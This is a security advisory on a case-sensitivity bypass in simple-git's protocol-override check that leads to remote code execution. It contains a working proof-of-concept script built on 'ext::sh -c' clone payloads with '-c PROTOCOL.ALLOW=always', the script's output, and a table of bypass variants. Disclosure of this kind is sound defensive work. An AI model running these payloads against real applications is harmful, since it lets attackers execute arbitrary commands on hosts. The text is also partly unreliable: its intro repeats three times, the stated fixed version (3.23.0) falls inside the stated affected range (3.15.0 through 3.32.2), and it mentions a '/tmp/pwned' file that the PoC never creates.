simple-git · Vulnerability

`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.

`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.

`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.

### Summary The `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the `ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an arbitrary OS command on the host machine. --- ### Details The `preventProtocolOverride` function in `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24) checks whether a `-c` argument configures `protocol.allow` using this regex: ```ts if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { return; } ``` This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument. **Verification that git normalises the key:** ```bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always ``` **The fix is a single character — add the `/i` flag:** ```ts // Before (vulnerable): if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { // After (fixed): if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) { ``` --- ## poc.js ```js /** * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass * * CVE-2022-25912 was fixed in [email protected] by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Affected : simple-git >= 3.15.0 (all versions with the fix applied) * Tested on: [email protected], Node.js v23.11.0, git 2.39.5 * Reporter : CodeAnt AI Security Research ([email protected]) */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONE_DEST = '/tmp/codeant-quality-gates'; const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, // should have been LEGITIMATE_URL CLONE_DEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:', fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created'); }); ``` --- ## Test Results ### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase) **Result: BLOCKED ✅** The original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created. **Output:** ``` ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' } ``` --- ### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`) **Result: BYPASSED ⚠️ — RCE confirmed** The `preventProtocolOverride` regex `/^\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream. **Output:** ``` ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } } ``` `/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed. --- ### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`) **Result: BYPASSED ⚠️ — RCE confirmed** An application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure. **Output:** ``` real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created ``` `/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed. --- ## Summary | # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** | | 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** | The case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix. `/tmp/pwned` is created by the git subprocess via the `ext::` protocol. All of the following bypass the check: | Argument passed via `-c` | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | `protocol.allow=always` | ✅ blocked | ✅ | | `PROTOCOL.ALLOW=always` | ❌ bypassed | ✅ | | `Protocol.Allow=always` | ❌ bypassed | ✅ | | `PROTOCOL.allow=always` | ❌ bypassed | ✅ | | `protocol.ALLOW=always` | ❌ bypassed | ✅ | --- ### Impact Any application that passes user-controlled values into the `customArgs` parameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git` methods is vulnerable to arbitrary command execution on the host machine. The `ext::` git protocol executes an arbitrary binary as a remote helper. With `protocol.allow=always` enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.